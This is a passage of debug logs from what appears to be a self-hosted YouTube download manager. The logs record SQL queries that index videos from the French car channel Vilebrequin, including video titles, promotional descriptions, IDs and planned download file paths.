s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.611 [debug] QUERY OK source="media_items" db=4.5ms queue=0.1ms idle=81.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-21 16:15:00Z], 1] 07:43:35.616 [debug] QUERY OK source="media_items" db=2.9ms idle=84.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "d63eb483-4e12-4d90-b941-9df98b2f541a", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", 12, "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, false, false, 1, [], 98, ~U[2023-09-21 16:15:00Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, 1, ~U[2023-09-21 16:15:00Z]] 07:43:35.618 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=83.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.622 [debug] QUERY OK source="media_items" db=3.9ms idle=15.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-14 16:15:00Z], 1] 07:43:35.626 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=16.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "4f327e19-c2eb-4367-a781-a16d60fe259a", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", 13, "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, false, false, 1, [], 98, ~U[2023-09-14 16:15:00Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, 1, ~U[2023-09-14 16:15:00Z]] 07:43:35.627 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.633 [debug] QUERY OK source="media_items" db=4.6ms queue=0.1ms idle=12.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-07 16:15:03Z], 1] 07:43:35.639 [debug] QUERY OK source="media_items" db=5.4ms idle=15.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "efa369d4-21c6-40c1-a3fa-c26b9019f7dd", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", 14, "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, false, false, 1, [], 98, ~U[2023-09-07 16:15:03Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, 1, ~U[2023-09-07 16:15:03Z]] 07:43:35.641 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=17.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.647 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=16.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 16:15:01Z], 1] 07:43:35.651 [debug] QUERY OK source="media_items" db=2.7ms idle=19.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "fae78046-5a97-46ed-b7ca-ea3882bf94d9", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", 15, "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, false, false, 1, [], 98, ~U[2023-07-27 16:15:01Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, 1, ~U[2023-07-27 16:15:01Z]] 07:43:35.652 [debug] QUERY OK source="sources" db=0.9ms idle=18.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.657 [debug] QUERY OK source="media_items" db=4.0ms idle=13.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 16:15:01Z], 1] 07:43:35.661 [debug] QUERY OK source="media_items" db=3.2ms idle=16.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "b4b8771b-1400-42ec-b03f-b0abcd805642", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", 16, "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, false, false, 1, [], 98, ~U[2023-07-20 16:15:01Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, 1, ~U[2023-07-20 16:15:01Z]] 07:43:35.662 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=15.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", 